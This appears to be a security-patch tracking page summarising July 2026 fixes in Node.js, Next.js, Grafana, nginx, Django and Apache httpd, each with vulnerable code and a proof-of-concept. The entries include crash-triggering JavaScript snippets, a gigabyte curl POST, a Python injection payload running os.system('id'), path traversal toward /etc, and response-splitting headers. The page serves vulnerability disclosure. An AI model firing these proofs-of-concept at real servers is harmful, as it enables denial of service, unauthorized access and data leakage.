“Exposing patches before CVEs since 2025”
Tuesday, August 11, 2026
Jul 26, 2026, 01:43 AM — nodejs/node
Commit: d4d35c6363af31a52764d1fb63e8a99734226997
Author: Mohamed Sayed
The Session object held only a weak reference (BaseObjectWeakPtr) to its parent DatabaseSync. If the JavaScript DatabaseSync object was garbage collected (and its underlying sqlite3 database closed/freed) while a Session created from it was still alive, subsequent operations on the session (e.g., changeset()) would dereference the freed database pointer, causing a use-after-free and crash (SIGSEGV). The fix changes the reference to a strong BaseObjectPtr so the database is kept alive as long as the session exists.
BaseObjectPtr<Session> session =
Session::Create(env, BaseObjectWeakPtr<DatabaseSync>(db), pSession);
...
BaseObjectWeakPtr<DatabaseSync> database_; // The Parent Database
const { DatabaseSync } = require('node:sqlite');
let session = (() => {
const database = new DatabaseSync(':memory:');
database.exec('CREATE TABLE data(key INTEGER PRIMARY KEY, value TEXT)');
const s = database.createSession();
database.exec("INSERT INTO data VALUES (1, 'hello')");
return s; // database reference dropped here, only session remains
})();
global.gc(); // with --expose-gc, forces collection of the now-unreferenced DatabaseSync
session.changeset(); // dereferences freed sqlite3* -> SIGSEGV crash (before patch)
Jul 25, 2026, 02:40 PM — nodejs/node
Commit: 3e06d536a9c3425bc8691ad7bb30918b45e4ae75
Author: RajeshKumar11
StringBytes::StorageSize contained a CHECK that fatally aborted the process when a hex-encoded string of odd length was written via Writev (e.g. an HTTP request body written before it is corked/flushed). This allowed a remote or local attacker who can influence data written as 'hex' encoding through a batched write path to crash the Node.js process, resulting in a denial of service. The patch removes the CHECK and uses integer division, consistent with the non-crashing single-write path.
case HEX: CHECK(view.length() % 2 == 0 && "invalid hex string length"); data_size = view.length() / 2; break;
const http = require('http');
const req = http.request('http://example.org', { method: 'POST' });
req.write('1', 'hex'); // odd-length hex string triggers CHECK failure and crashes the process due to auto-corking in http.request
Jul 25, 2026, 06:21 AM — vercel/next.js
Commit: 770f15771f0fb891d8ee135c52c796d9d111304c
Author: Pete Hunt
When a client disconnects mid-response, the vendored compression middleware's zlib stream was never released because its cleanup only ran inside its own res.end() wrapper, which never executes on abrupt disconnects. Each aborted compressed response permanently pinned ~256 KiB of native zlib memory that survives garbage collection, allowing an attacker (or even normal bot/CDN traffic) to repeatedly open and abort requests, causing unbounded RSS growth until the server is OOM-killed.
if (compress) {
// @ts-expect-error not express req/res
compress(req, res, () => {})
}
// no cleanup on premature close; zlib stream stays open and pinned
Repeatedly send HTTP requests with 'Accept-Encoding: gzip' to any Next.js route (with default compress: true), read only the first chunk of the response body, then abort the connection (e.g., using fetch with reader.cancel() after one read, or curl with --max-time set very low). Each aborted request leaks ~256 KiB of native zlib memory that is never freed. Repeating this a few thousand times (e.g., 300 requests per round over several rounds) causes RSS to grow linearly and unboundedly, eventually leading to an OOM kill of the Node.js process — a straightforward remote DoS against any publicly reachable Next.js server.
Jul 24, 2026, 10:06 PM — grafana/grafana
Commit: 9cf102aaec90028130866ca58231e27855253833
Author: Adam Yeats
The Graphite datasource read upstream /render responses and inbound resource-call request bodies fully into memory via io.ReadAll without any size limit. A malicious or compromised Graphite backend could return an extremely large (or decompression-bomb) response, or an authenticated user could send an oversized request body to a resource endpoint, forcing Grafana to allocate unbounded memory and crash the process (OOM). The patch adds configurable byte caps enforced via io.LimitReader and http.MaxBytesReader, rejecting oversized bodies with clear errors/HTTP 413.
body, err := io.ReadAll(res.Body)
...
body, err := io.ReadAll(req.Body)
if err != nil {
...
}
1) Compromised/malicious Graphite backend returns a 10GB response body (or a small gzip-compressed body that decompresses to 10GB) for a /render query, causing Grafana's io.ReadAll(res.Body) to allocate unbounded memory and OOM-kill the process. 2) An authenticated user with resource-call access issues: `POST /api/datasources/uid/<ds-uid>/resources/metrics/find` with a request body of several GB (e.g., `curl -X POST --data-binary @(dd if=/dev/zero bs=1M count=5000) http://grafana/api/datasources/uid/<uid>/resources/metrics/find`), causing the unbounded io.ReadAll(req.Body) call to consume excessive memory before any size validation occurs.
Jul 24, 2026, 04:31 PM — nginx/nginx
Commit: 0cb3d7fb132558a02bbeada6542fd6c808b7af76
Author: Sourav Bhowmik
The ngx_select_module.c code only validated cycle->connection_n against FD_SETSIZE at config-init time, but did not verify the actual file descriptor value returned by the OS before calling FD_SET() in ngx_select_add_event(). Since local file descriptors (e.g., for open files, not just connections) are not counted in cycle->connection_n, the OS can assign a fd >= FD_SETSIZE, causing FD_SET() to write beyond the bounds of the fixed-size fd_set bitmask, corrupting adjacent memory and potentially crashing or exploiting the worker process.
if (event == NGX_READ_EVENT) {
FD_SET(c->fd, &master_read_fd_set);
... (no check on c->fd against FD_SETSIZE before FD_SET)
On a system using the select() event method with worker_connections set near FD_SETSIZE (1024), force nginx to open many local files (e.g., via open_file_cache, static file serving, or logging) such that no connection slots are recycled and the OS eventually returns a file descriptor value >= 1024. When this fd is registered via ngx_select_add_event(), FD_SET(fd, &master_read_fd_set) writes past the bounds of the 1024-bit fd_set structure, corrupting adjacent static memory (master_write_fd_set, work_read_fd_set, etc.) and potentially crashing the worker or causing memory corruption exploitable for further attacks.
Jul 24, 2026, 03:42 PM — nginx/nginx
Commit: 5e0deb7018b06cdebafab5570b2e9fdf7c3f22de
Author: David Carlier
The zero-copy path in $r->print() referenced the internal string buffer of a Perl scalar (SV) directly into nginx's output chain without copying it, but only incremented the SV's reference count rather than protecting its buffer. If the Perl script mutates the scalar after calling $r->print() (e.g., appends to it or grows it), Perl may reallocate or overwrite the underlying buffer in place, while nginx's ngx_http_write_filter() may still have the original buffer queued for output. This can result in corrupted responses or, worse, sending stale/freed memory contents to the client, potentially leaking other memory contents.
if (SvPOK(sv)) {
p = (u_char *) SvPV(sv, len);
...
b->pos = p;
b->last = p + len;
...
ngx_http_perl_refcount(...)
In a Perl handler running under mod_perl/nginx-perl module:
my $buf = "initial response data";
$r->print($buf); # zero-copy: nginx queues pointer to $buf's PV buffer
$buf .= ("A" x 100000); # forces Perl to reallocate/grow the buffer, freeing old one
# nginx's write filter, having postponed the small write, later sends the buffer
# it queued -- which now points to freed memory or stale/overwritten data,
# causing corrupted output or leakage of freed heap memory to the client.
Jul 24, 2026, 10:08 AM — grafana/grafana
Commit: 2376f13c46f1ad97cc9ce4d2ceeec4bd3e7200d3
Author: Fayzal Ghantiwala
Before this patch, the notification-history app installer did not wire in an AccessClient or enable RBAC filtering, so notification history queries were not restricted to folders the requesting user is authorized to read via `alert.rules:read`. This allowed any authenticated user (in a multi-tenant deployment) to query and view notification history for alert rules/folders belonging to other tenants or users without the required permissions, leaking potentially sensitive alerting/notification data across tenant boundaries.
appSpecificConfig.Notifications = &historianAppConfig.NotificationConfig{
...
Loki: historianAppConfig.LokiConfig{ LokiConfig: lokiConfig },
// RBACEnabled and AccessClient were not set, so no folder-based
// authorization was applied to notification history queries.
}
In a multi-tenant Grafana deployment with notification history enabled, an authenticated low-privilege user (no `alert.rules:read` grant on Folder X) sends a request such as `GET /apis/notifications.alerting.grafana.app/v0alpha1/namespaces/<tenant>/notificationhistory?folder=FolderX` — prior to the patch this request succeeds and returns notification history entries for alert rules in Folder X even though the user lacks the folder-level permission, because the historian app never consulted the AccessClient/RBAC layer to filter results by accessible folders.
Jul 23, 2026, 02:37 PM — nodejs/node
Commit: fd41198dff0f902c9fe66c481034eb5a02efb288
Author: Matteo Collina
DatabaseSync::Exec() and ApplyChangeset() held only a raw DatabaseSync* pointer while invoking sqlite3_exec()/sqlite3changeset_apply(), which can call back into JavaScript (user-defined functions, conflict/filter handlers). If the JS callback drops the last reference to the DatabaseSync JS object, V8's GC (which does not see the raw C++ pointer) can collect it, and subsequent use of the now-freed db pointer inside the SQLite C API leads to a use-after-free that can corrupt memory or be leveraged for further exploitation. The patch adds a BaseObjectPtr<DatabaseSync> guard to keep a strong reference alive for the duration of the call.
int r = sqlite3_exec(db->connection_, *sql, nullptr, nullptr, nullptr); CHECK_ERROR_OR_THROW(env->isolate(), db, r, SQLITE_OK, void()); ... int r = sqlite3changeset_apply(db->connection_, ...);
const { DatabaseSync } = require('node:sqlite');
let db = new DatabaseSync(':memory:');
db.function('gc_and_free', () => {
db = null; // drop last JS reference to DatabaseSync
global.gc(); // force garbage collection (run with --expose-gc)
return 1;
});
// Calling exec triggers the UDF, which drops references and forces GC
// while sqlite3_exec is still using db->connection_, causing UAF
db.exec('SELECT gc_and_free()');
Jul 23, 2026, 12:55 PM — django/django
Commit: d8cedcab5241725003eef059dd76c533f24c5430
Author: mundur
inspectdb generates a Python models.py file by writing raw table names and exception messages directly into comment lines without escaping. If a table name or an introspection error message contains newline characters, the unescaped output breaks out of the '#' comment prefix and injects arbitrary attacker-controlled lines into the generated source file, which is later imported/executed as Python code.
except Exception as e:
yield "# Unable to inspect table '%s'" % table_name
yield "# The error was: %s" % e
continue
Create (or have introspection report) a table name such as "evil\nimport os; os.system('id')\n#" or trigger an introspection error whose message is "boom\nimport os; os.system('id')". When 'python manage.py inspectdb' is run and the output redirected to models.py, the injected newline causes the malicious line to appear outside the '#' comment, so it becomes executable Python code that runs when the generated models.py is imported by Django.
Jul 23, 2026, 11:59 AM — grafana/grafana
Commit: 774db0605417b600aa3b5a3f0252cb34433bf9fc
Author: Kevin Minehart Tenorio
The localRepository's Create, Update, Write, Delete, and Move functions joined user-controlled paths (e.g. derived from folder/dashboard titles during export) directly with the repository root using safepath.Join without verifying the result stayed within the root directory. An attacker-controlled title containing traversal sequences like '../../../etc' could cause file writes, deletes, or moves outside the intended repository folder on the local filesystem.
fpath := safepath.Join(r.path, filepath) _, err := os.Stat(fpath) ... path = safepath.Join(r.path, path) ... fpath = safepath.Join(r.path, fpath)
Provisioning export with a folder title such as '../../../../etc/evil' would resolve to a path outside the repository root; calling Write(ctx, "../../../../etc/evil.json", ref, data, comment) before the patch would write attacker-controlled content to /etc/evil.json instead of being blocked, whereas after the patch resolvePath returns apierrors.NewBadRequest("the path '../../../../etc/evil.json' escapes the repository root").
Jul 22, 2026, 08:52 PM — grafana/grafana
Commit: 7b51fece7a0c2f86feb435b780e4a1b00ab0be66
Author: maicon
When force-deleting a folder via kubernetesFolderCascadeDelete, the cascade delete operation ran under a service identity that bypasses per-resource permission checks. A user who only had folders:delete permission (but not alert.rules:delete or folders:write on contained resources) could trigger deletion of alert rules and library elements within the folder subtree that they had no rights to access or modify, since only the top-level folder delete permission was checked before the entire cascade ran with elevated service-identity privileges.
cascadeCtx := identity.WithServiceIdentityContext(ctx, ns.OrgID) return s.cascadeDelete(cascadeCtx, ns.Value, name, cascadeDeleteOptions(options), true) // cascadeDelete recursively deletes alert rules/library elements without // checking requester's alert.rules:delete or folders:write permissions
1. User A is granted `folders:delete` on folder F but has no `alert.rules:delete` or `folders:write` permission on alert rules/library elements inside F (owned/managed by another team). 2. User A sends DELETE request with grace period 0 to force-delete folder F via the k8s folder API: `DELETE /apis/folder.grafana.app/v1/namespaces/default/folders/F?gracePeriodSeconds=0`. 3. Because kubernetesFolderCascadeDelete cascades under a service identity, the alert rules and library elements inside F (and any nested subfolders) are deleted without any check that User A actually has delete rights on those specific resources, resulting in unauthorized destruction of alert rules/library elements they could not otherwise delete directly.
Jul 21, 2026, 04:46 PM — vercel/next.js
📈 Patch landed 1 day 6 hours 12 minutes before CVE published
Commit: 019628571641dec57aaf349ba0c360e3964e6f12
Author: Sebastian "Sebbie" Silbermann
The action ID validation logic for MPA (non-JS) form submissions iterated over all form data keys and, for any key starting with $ACTION_REF_, performed expensive decoding/validation work with no limit on the number of such keys. An attacker could submit a form with an enormous number of $ACTION_REF_ fields to force the server to perform excessive processing per request, exhausting CPU/memory and causing a denial of service. The patch caps processing to at most 2 $ACTION_REF_ fields (the expected maximum for legitimate forms) and short-circuits validation once that limit is exceeded.
} else if (key.startsWith($ACTION_REF_)) {
// Bound args case
const actionDescriptorField =
$ACTION_ + key.slice($ACTION_REF_.length) + ':0'
Send a POST request to a Next.js app with Server Actions enabled, with a multipart/form-data body containing an enormous number of fields whose names start with '$ACTION_REF_' (e.g., $ACTION_REF_1, $ACTION_REF_2, ... $ACTION_REF_100000), each with attacker-controlled values. Before the patch, areAllActionIdsValid would process every single one of these fields (attempting expensive decode/validation logic) with no upper bound, allowing a single crafted request to consume disproportionate CPU/memory on the server and degrade or crash the service for other users.
Jul 21, 2026, 04:46 PM — vercel/next.js
📈 Patch landed 1 day 6 hours 15 minutes before CVE published
Commit: 669426f454e032a2a823bc66df3a8d19e306ac83
Author: Sebastian "Sebbie" Silbermann
In the Edge runtime, Server Actions did not enforce the `serverActions.bodySizeLimit` configuration when reading request bodies (both multipart and non-multipart). The `// TODO: add body limit` comment confirms the limit check was never implemented for Edge, allowing attackers to send arbitrarily large request bodies to Server Actions running on Edge runtime, potentially exhausting memory/CPU resources despite the developer having configured a body size limit.
if (isMultipartAction) {
// TODO: Add streaming support
const formData = await req.request.formData()
// TODO: add body limit
POST a multipart/form-data request to a Server Action route running on the Edge runtime (`export const runtime = 'edge'`) with a payload far exceeding the configured `serverActions.bodySizeLimit` (e.g., a 100MB form field), even though `next.config.js` sets `bodySizeLimit: '1mb'`. Before the patch, the request would be processed in full without rejection, unlike the Node.js runtime path which enforced the limit, enabling resource exhaustion attacks against Edge-deployed Server Actions.
Jul 21, 2026, 04:46 PM — vercel/next.js
📈 Patch landed 1 day 6 hours 15 minutes before CVE published
Commit: 93cb90891402fa4c47798d03cb9e05c13233766c
Author: Sebastian "Sebbie" Silbermann
The previous detectContentType() implementation scanned the entire uploaded/upstream image buffer (including running a full sharp metadata parse and regex-based SVG detection over the whole buffer) to determine the image format, which allowed an attacker to submit a large or crafted file (e.g. large whitespace-padded pseudo-SVG or crafted image data) that would block the Node.js event loop for a long time during synchronous/CPU-heavy processing. This could be used to cause a denial of service against the image optimization endpoint. The patch limits the SVG detection to a bounded scan, removes the fallback to full sharp metadata parsing on the whole buffer, and only inspects the first 1024 bytes via the lightweight detector, greatly reducing worst-case CPU/blocking time.
format = detector(buffer)
if (!format && !skipMetadata) {
const sharp = getSharp(concurrency, operationCache)
const meta = await sharp(buffer).metadata().catch((_) => null)
format = meta?.format
}
Send a request to the image optimizer endpoint (e.g. /_next/image?url=...) pointing to an attacker-controlled upstream that returns a 50MB+ file consisting mostly of whitespace/padding designed to look like an SVG (as added in test 'should return null for over 50MB of whitespace' and 'slow.svg.txt'). The old detectContentType() would scan/parse the entire buffer (including invoking sharp's metadata() on large binary data) causing significant event-loop blocking time per request, allowing repeated requests to degrade server responsiveness (DoS).
Jul 21, 2026, 03:46 PM — nodejs/node
Commit: 81145bf60b6d943bf03a5b52b305db1c248b6fab
Author: Filip Skokan
Private key material (RSA d/p/q/dp/dq/qi, EC private scalar, DH private key) exported from OpenSSL 3 providers into BIGNUM copies was freed with BN_free instead of BN_clear_free, leaving the raw private key bytes in freed heap memory instead of being zeroed out. Similarly, OSSL_PARAM builder copies and the plaintext DER intermediate buffer used during encrypted PEM export were freed without cleansing, allowing sensitive key material to persist in process memory after use. This can enable extraction of private keys via memory disclosure vulnerabilities (heap dumps, core dumps, cold-boot attacks, or other memory-reading bugs).
DeleteFnPtr<BIGNUM, BN_free> d_; DeleteFnPtr<BIGNUM, BN_free> p_; ... OpenSSLBufferPointer der_storage(der); // no cleanse of DER-encoded private key
An attacker with the ability to read freed heap memory (e.g., via a heap-dump-inducing bug, core dump analysis, or another memory disclosure vulnerability in the same process) could, after a Node.js application calls crypto.generateKeyPairSync('rsa', ...) or exports a private key (KeyObject.export()) or performs DH key exchange, scan the freed heap for uncleared BIGNUM buffers (e.g. search for the raw big-endian byte pattern of the private exponent 'd' or DH private key) and recover the private key bytes, since BN_free() (the pre-patch destructor) does not zero the buffer before returning it to the allocator, unlike BN_clear_free() used post-patch.
Jul 21, 2026, 03:46 PM — nodejs/node
Commit: 3cfb063bd4b51632d2cf398ce4094bbf3eadba4a
Author: Filip Skokan
When exporting an RSA private key to JWK format, the code failed to check whether optional private parameters (d, p, q, dp, dq, qi) were successfully retrieved before passing them to the BIGNUM-to-JWK encoder. If an RSA key object has incomplete private parameters (e.g., loaded from a malformed or partial key), the null BIGNUM pointers were passed directly to SetEncodedValue, causing a crash (null pointer dereference) instead of a graceful error. The patch adds explicit null checks and throws a proper crypto operation error when required private key components are missing.
if (key.GetKeyType() == kKeyTypePrivate) {
auto pvt_key = rsa.getPrivateKey();
if (SetEncodedValue(env, target, env->jwk_d_string(), pub_key.d)
.IsNothing() ||
SetEncodedValue(env, target, env->jwk_p_string(), pvt_key.p)
Construct or load an RSA private key object whose underlying EVP_PKEY has only n/e (public) parameters but is typed as a private key (e.g., via a crafted PKCS#8/DER blob with missing d/p/q/dp/dq/qi fields, or via a provider that returns partial params). Then call crypto.createPrivateKey(keyMaterial).export({format:'jwk'}) on this incomplete key. Before the patch, ExportJWKRsaKey would call SetEncodedValue with pvt_key.p/q/dp/dq/qi being null BIGNUM pointers, causing a null pointer dereference and crashing the Node.js process (DoS) instead of throwing a catchable JS error.
Jul 21, 2026, 01:28 PM — grafana/grafana
Commit: cc44cf925ca7636fd646278349e625e0991cef5c
Author: Mihai Turdean
In the RBAC authz Check/BatchCheck flow, requests with an empty resource name but a specified parent folder were incorrectly answered by a capabilities-style early return that allows access if the user holds the action on ANY scope, ignoring the folder entirely. This let a user with permission on an unrelated folder (or resource instance) be granted access to folder-scoped queries such as 'can I list/set-permissions within folder X', effectively bypassing folder-based access restrictions.
if req.Name == "" && req.Verb != utils.VerbCreate {
if t.Scope("") == "*" {
return scopeMap["*"], nil
}
... early-return using any-scope check ...
}
Grant a user permission only on folder 'other' (e.g., scope 'folders:uid:other' for action 'dashboards.permissions:write'). Then issue a Check request: {Action: 'dashboards.permissions:write', Resource: 'dashboards', Name: '', ParentFolder: 'parent', Verb: 'set_permissions'}. Before the patch, because Name is empty and Verb != create, the capabilities early-return checks scopeMap for ANY scope match and returns true (allowed) even though the user has no permission on 'parent' folder — an over-grant. After the patch, since ParentFolder is non-empty and the resource supports folders, the request falls through to normal folder-inheritance evaluation and correctly returns false.
Jul 20, 2026, 07:50 PM — apache/httpd
Commit: 2b3075af7326cd84196a2d90211f4f40f42f68ea
Author: Eric Covener
The fixup_dir function in mod_dir.c called strcmp on r->content_type without checking for NULL, causing a segfault when a request is not mapped to any content type (e.g., no matching handler or type). An attacker or specific server configuration causing requests to reach this code path with a NULL content_type could crash the worker process, resulting in denial of service.
if (d->checkhandler == MODDIR_ON && strcmp(r->handler, DIR_MAGIC_TYPE)) {
if (!strcmp(r->content_type, DIR_MAGIC_TYPE)) {
r->content_type = NULL;
}
return DECLINED;
Configure a server with CheckSpelling or similar directive combined with mod_dir's handler check enabled, and send a request to a resource path that maps to no content-type (e.g. a request that bypasses normal type-checking modules, leaving r->content_type as NULL). Example: request a URI for a file with no matching mod_mime type mapping and no default handler set, such as `GET /somefile.unknownext HTTP/1.1` on a server configured with `CheckSpelling On` and minimal type configuration, causing r->content_type to remain NULL when fixup_dir is invoked, triggering strcmp(NULL, DIR_MAGIC_TYPE) and crashing the Apache worker process (segfault).
Jul 20, 2026, 03:45 PM — grafana/grafana
Commit: f50cf61264381656f017879a46721c84209226a7
Author: Yuri Tseretyan
When the LimitEmailToOrgMembers setting is enabled, Grafana restricts email notification integrations to only send to addresses belonging to organization members, preventing data exfiltration of alert data to arbitrary external emails. The email validator only checked V1 email integration configs and silently skipped V0 (Mimir) email integrations, allowing a user able to configure contact points to bypass the org-membership restriction entirely by using the V0mimir1 email integration type with arbitrary 'to' addresses.
func (v *OrgUserEmailValidator) ValidateIntegrationConfig(...) error {
if integration.Type != schema.EmailType || integration.Version != schema.V1 { // TODO: support v0
return nil
}
...
With LimitEmailToOrgMembers enabled, create a contact point integration of type 'email' with schema version 'v0mimir1' and set settings: {"to": "[email protected]", "from": "[email protected]", "smarthost": "localhost:25"}. Because ValidateIntegration/ValidateIntegrationConfig skips any config whose Version != schema.V1, this integration passes validation unchecked, allowing alert payloads (which may contain sensitive data) to be emailed to [email protected] despite the org-membership restriction that would block the same address in a V1 email integration.
Jul 20, 2026, 10:08 AM — apache/httpd
Commit: 7c6129b51935d9165241279637915eaf905c58f1
Author: Joe Orton
The v2 PROXY protocol parser accessed src_addr/dst_addr/ports fields in the TCPv4/TCPv6 union without validating that the header's declared address length (hdr->v2.len) was large enough to actually contain those fields. A malicious or malformed proxy sender could send a v2 header with fam=0x11 or 0x21 but a len field smaller than sizeof(ip4)/sizeof(ip6), causing the code to read beyond the actual received data (into uninitialized or adjacent stack/heap memory) when extracting the address and port values.
case 0x11: /* TCPv4 */
ret = apr_sockaddr_info_get(&conn_conf->client_addr, NULL,
APR_INET,
ntohs(hdr->v2.addr.ip4.src_port),
0, c->pool);
Send a PROXY v2 header with signature bytes, cmd=0x01 (PROXY), fam=0x11 (TCPv4), but set the 2-byte length field to a small value (e.g., 0) while providing only 0 bytes of address payload after the 16-byte fixed header, then close/short the connection. The parser will still read hdr->v2.addr.ip4.src_addr, dst_addr, src_port, dst_port (12 bytes) even though len declared 0 bytes available, causing a read past the validated/received buffer region and potentially leaking uninitialized memory content used as the perceived source IP/port in logs or headers.
Jul 20, 2026, 05:24 AM — nodejs/node
Commit: 00917ba54c26ce02cb5bf869fd1d7affd8c19a54
Author: Trivikram Kamat
The FFI implementation read the `signature.arguments`/`signature.return` values twice: once in native code to configure the actual native call interface (CIF), and again in JavaScript to build the argument-marshaling wrapper. Because `signature` could be a Proxy or an object with getters, a malicious signature object could return a large argument list (e.g., 8 arguments) to the native code establishing the CIF, then return a smaller list (e.g., 1 argument) to the JavaScript wrapper, causing the wrapper to pass fewer arguments than the native function actually expects, resulting in the native call reading uninitialized/stack memory for the unsupplied arguments.
DynamicLibrary.prototype.getFunction = function getFunction(name, signature) {
const raw = FunctionPrototypeCall(rawGetFunction, this, name, signature);
return wrapFFIFunction(raw, signature.arguments, signature.return, this);
};
const signature = {
get arguments() {
// First read (native CIF setup) returns 8 args; second read (JS wrapper) returns 1
this._reads = (this._reads||0)+1;
return this._reads === 1 ? Array(8).fill('i32') : ['i32'];
},
get return() { return 'i32'; }
};
const fn = lib.getFunction('sum_8_i32', signature);
// fn is now wrapped as taking 1 argument, but the native CIF expects 8.
// Calling fn(1) causes the native function to read 7 additional arguments
// from uninitialized stack/register state, leaking memory or crashing the process.
fn(1);
Jul 17, 2026, 10:02 PM — nginx/nginx
Commit: 95a24d1b9cdd89608c601748e2fdfe94fb81e7b3
Author: Vadim Zhestikov
In ngx_http_image_filter_module.c, ctx->length was set to the allocation size (image_filter_buffer) rather than the actual number of bytes received from the upstream when Content-Length was absent. If the upstream connection was truncated before filling the buffer, the image size parser and image decoders (ngx_http_image_size(), ngx_http_image_source()) would read/parse past the valid received data into uninitialized heap memory, potentially leaking memory contents or causing crashes when processing the resulting 'image' data (e.g., via JSON size output or generated thumbnail).
if (b->last_buf) {
ctx->last = p;
return NGX_OK;
}
// ctx->length remains == allocation size (image_filter_buffer), not actual bytes read
Configure nginx with image_filter enabled proxying to an upstream that sends a response without a Content-Length header and closes the connection early after sending only a few bytes (less than image_filter_buffer, e.g., 100 bytes of a valid JPEG header). Because ctx->length is set to the full buffer size (default 1M) instead of the ~100 bytes actually received, ngx_http_image_size() or the GD decoders will read/parse the uninitialized remainder of the buffer as if it were valid image data, potentially exposing uninitialized memory in the JSON size response (width/height fields derived from garbage) or causing erratic decoder behavior. This matches the nginx-tests case image_filter_truncated.t used to verify the fix.
Jul 17, 2026, 12:39 PM — nodejs/node
Commit: 46de80de88c6ab0fc1fa27aa4d51804c7e989da4
Author: esgor
In node's HTTP/2 implementation, nghttp2_session_mem_recv() could trigger callbacks (e.g., on receiving RST_STREAM or via JS callbacks during data delivery) that synchronously destroy an Http2Stream or invoke SendPendingData()/nghttp2_session_mem_send(), freeing nghttp2 internal stream state that is still being used by the in-progress mem_recv() call. This allows a remote peer to send crafted HTTP/2 frames (e.g., interleaved RST_STREAM and DATA frames) that cause the session to close/free stream memory mid-parse, leading to heap-use-after-free that can crash the process or potentially be leveraged for further exploitation.
void Http2Stream::Destroy() {
if (is_destroyed()) return;
if (session_->has_pending_rststream(id_))
FlushRstStream();
set_destroyed();
...
}
// SendPendingData() had no guard against being called while
// nghttp2_session_mem_recv() was still processing incoming data.
A remote HTTP/2 client sends a sequence of frames on a Node.js HTTP/2 server such that within a single TCP read (single nghttp2_session_mem_recv() call) it: 1) opens a stream and sends HEADERS causing the JS 'stream' event, 2) immediately follows with a RST_STREAM frame for that same stream id in the same TCP packet/buffer. While nghttp2 is still processing subsequent frames in mem_recv (still referencing the stream's internal nghttp2_stream struct), the RST_STREAM handling path (SubmitRstStream/FlushRstStream) previously invoked nghttp2_submit_rst_stream + nghttp2_session_mem_send synchronously, freeing/closing the stream object mid-parse. Repeated rapid RST_STREAM injections combined with pipelined frames (similar to HTTP/2 Rapid Reset style attacks) can reliably trigger use of freed nghttp2 stream memory in nghttp2_session_mem_recv(), causing a crash (DoS) as tracked in nodejs/node#64113.
Jul 17, 2026, 12:12 PM — apache/httpd
Commit: 54862287191d004a52ad080a20e4e947133b3e09
Author: Joe Orton
In mod_ldap's cache handling, the code released the LDAP cache lock after fetching a 'curl' (URL cache node) pointer and then re-acquired the lock later to access curl's sub-caches (compare_cache, dn_compare_cache). Between the unlock and re-lock, another worker thread/process could evict or free that URL node from the cache, leaving 'curl' as a dangling pointer that is subsequently dereferenced, causing memory corruption or a crash. The fix holds the lock continuously across the fetch-and-use sequence and re-fetches the URL node under the lock before write-back operations.
curl = util_ald_cache_fetch(st->util_ldap_cache, &curnode); ldap_cache_unlock(st, r); ... ldap_cache_lock(st, r); node = util_ald_cache_fetch(curl->dn_compare_cache, &newnode); // curl may be stale/freed
In a multi-worker httpd deployment using mod_ldap with mod_authnz_ldap for concurrent LDAP-authenticated requests: Thread A calls uldap_cache_comparedn(), fetches 'curl' pointer for URL X, then unlocks the cache. Before Thread A re-locks and dereferences curl->dn_compare_cache, Thread B triggers eviction of the LRU cache entry for URL X (e.g., by causing enough distinct LDAP URLs/caches to be created, exceeding cache size, via requests to many different LDAP backends or repeated cache churn), freeing the memory backing 'curl'. Thread A then dereferences the freed 'curl' pointer, leading to a use-after-free that can crash the worker process (DoS) or potentially be leveraged for further memory corruption under specific allocator conditions. Repeated concurrent LDAP auth requests reliably trigger the race and intermittent worker crashes, as noted in the changelog entry 'Fix intermittent worker crashes under concurrent LDAP-authenticated requests.'
Jul 17, 2026, 12:12 PM — apache/httpd
Commit: 753188653c2e139ffbeead6eacdb179adfa14826
Author: Joe Orton
Before the patch, mod_cern_meta.c merged every header line found in a .meta file directly into the outgoing response headers without restriction. Because HTTP framing-related headers (Transfer-Encoding, Content-Length, Connection, Trailer, Upgrade, Keep-Alive, TE) were not filtered, an attacker who could influence the content of a .meta file (e.g. via file upload, misconfiguration, or shared hosting) could set arbitrary or conflicting framing headers, enabling HTTP response splitting or request smuggling against clients or intermediary proxies. The fix explicitly rejects these framing headers and returns a 500 error if they are present in a .meta file.
else {
apr_table_set(tmp_headers, w, l);
}
Create a .meta file (e.g. index.html.meta in the MetaDir) containing: Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html <script>alert(1)</script> When Apache serves the associated resource with MetaFiles on, mod_cern_meta merges this header list verbatim into the response. The injected Content-Length (and potentially Transfer-Encoding) header creates a framing mismatch that can be leveraged for HTTP response splitting or request smuggling against downstream caches/proxies, allowing attacker-controlled content to be interpreted as a separate HTTP response.